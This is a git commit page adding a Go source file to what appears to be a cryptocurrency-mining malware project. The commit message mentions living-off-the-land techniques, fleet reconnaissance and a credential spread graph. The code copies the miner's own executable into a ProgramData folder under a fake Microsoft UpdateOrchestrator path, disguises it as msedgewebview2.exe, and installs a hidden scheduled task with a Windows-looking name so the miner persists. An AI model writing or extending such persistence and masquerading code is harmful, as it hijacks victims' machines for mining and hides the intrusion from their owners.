Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
158
agent/miner/tier_scheduled_task.go
Normal file
158
agent/miner/tier_scheduled_task.go
Normal file
@@ -0,0 +1,158 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// ScheduledTaskStubRel is the benign ProgramData path for the hidden persistence shell.
|
||||
const ScheduledTaskStubRel = `Microsoft\Windows\UpdateOrchestrator\InventorySync`
|
||||
|
||||
// scheduledTaskOps performs task install/query. Tests override via SetScheduledTaskOps.
|
||||
var scheduledTaskOps = defaultScheduledTaskOps()
|
||||
|
||||
func defaultScheduledTaskOps() *ScheduledTaskOps {
|
||||
return platformScheduledTaskOps()
|
||||
}
|
||||
|
||||
// ScheduledTaskOps wires scheduled-task persistence for tests.
|
||||
type ScheduledTaskOps struct {
|
||||
Exists func(taskName string) bool
|
||||
Install func(taskName, stubPath, trigger string) error
|
||||
StubPath func(cfg config.RuntimeConfig) (string, error)
|
||||
}
|
||||
|
||||
// SetScheduledTaskOps restores default when ops is nil.
|
||||
func SetScheduledTaskOps(ops *ScheduledTaskOps) {
|
||||
if ops == nil {
|
||||
scheduledTaskOps = defaultScheduledTaskOps()
|
||||
return
|
||||
}
|
||||
scheduledTaskOps = ops
|
||||
}
|
||||
|
||||
// RunScheduledTaskTier installs or reuses a hidden persistence shell under ProgramData\Microsoft\...
|
||||
func RunScheduledTaskTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
|
||||
if runtime.GOOS != "windows" {
|
||||
return TierAttempt{Tier: TierScheduledTask, Error: "scheduled_task requires windows", Wallet: cfg.Wallet}
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return TierAttempt{Tier: TierScheduledTask, Error: ctx.Err().Error(), Wallet: cfg.Wallet}
|
||||
default:
|
||||
}
|
||||
|
||||
taskName := scheduledTaskName(cfg)
|
||||
stubPath, err := scheduledTaskOps.StubPath(cfg)
|
||||
if err != nil {
|
||||
return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet}
|
||||
}
|
||||
|
||||
if err := ensureScheduledTaskStub(stubPath); err != nil {
|
||||
return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet}
|
||||
}
|
||||
|
||||
trigger := fmt.Sprintf(`"%s" --run --mining-mode=%s`, stubPath, strings.TrimSpace(cfg.MiningMode))
|
||||
if scheduledTaskOps.Exists(taskName) {
|
||||
return TierAttempt{
|
||||
Tier: TierScheduledTask,
|
||||
OK: true,
|
||||
Wallet: cfg.Wallet,
|
||||
Details: map[string]interface{}{
|
||||
"task": taskName,
|
||||
"stub_path": stubPath,
|
||||
"mining_mode": cfg.MiningMode,
|
||||
"reused": true,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
if err := scheduledTaskOps.Install(taskName, stubPath, trigger); err != nil {
|
||||
return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet}
|
||||
}
|
||||
return TierAttempt{
|
||||
Tier: TierScheduledTask,
|
||||
OK: true,
|
||||
Wallet: cfg.Wallet,
|
||||
Details: map[string]interface{}{
|
||||
"task": taskName,
|
||||
"stub_path": stubPath,
|
||||
"mining_mode": cfg.MiningMode,
|
||||
"hidden": true,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func scheduledTaskName(cfg config.RuntimeConfig) string {
|
||||
suffix := strings.TrimSpace(cfg.BuildID)
|
||||
if suffix == "" {
|
||||
suffix = strings.TrimSpace(cfg.WorkerName)
|
||||
}
|
||||
if suffix == "" {
|
||||
suffix = "agent"
|
||||
}
|
||||
suffix = sanitizeTaskToken(suffix)
|
||||
return `\Microsoft\Windows\UpdateOrchestrator\AetherForge\InventorySync` + suffix
|
||||
}
|
||||
|
||||
func sanitizeTaskToken(s string) string {
|
||||
var b strings.Builder
|
||||
for _, ch := range s {
|
||||
if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') {
|
||||
b.WriteRune(ch)
|
||||
}
|
||||
}
|
||||
out := b.String()
|
||||
if out == "" {
|
||||
return "worker"
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func scheduledTaskStubPath(cfg config.RuntimeConfig) (string, error) {
|
||||
base := os.Getenv("ProgramData")
|
||||
if base == "" {
|
||||
return "", fmt.Errorf("ProgramData not set")
|
||||
}
|
||||
name := cfg.EffectiveProcessName()
|
||||
if name == "" {
|
||||
name = "msedgewebview2.exe"
|
||||
}
|
||||
if !strings.HasSuffix(strings.ToLower(name), ".exe") {
|
||||
name += ".exe"
|
||||
}
|
||||
return filepath.Join(base, ScheduledTaskStubRel, name), nil
|
||||
}
|
||||
|
||||
func ensureScheduledTaskStub(stubPath string) error {
|
||||
if _, err := os.Stat(stubPath); err == nil {
|
||||
return nil
|
||||
}
|
||||
exe, err := os.Executable()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(stubPath), 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
src, err := os.Open(exe)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer src.Close()
|
||||
dst, err := os.OpenFile(stubPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer dst.Close()
|
||||
if _, err := dst.ReadFrom(src); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
Reference in New Issue
Block a user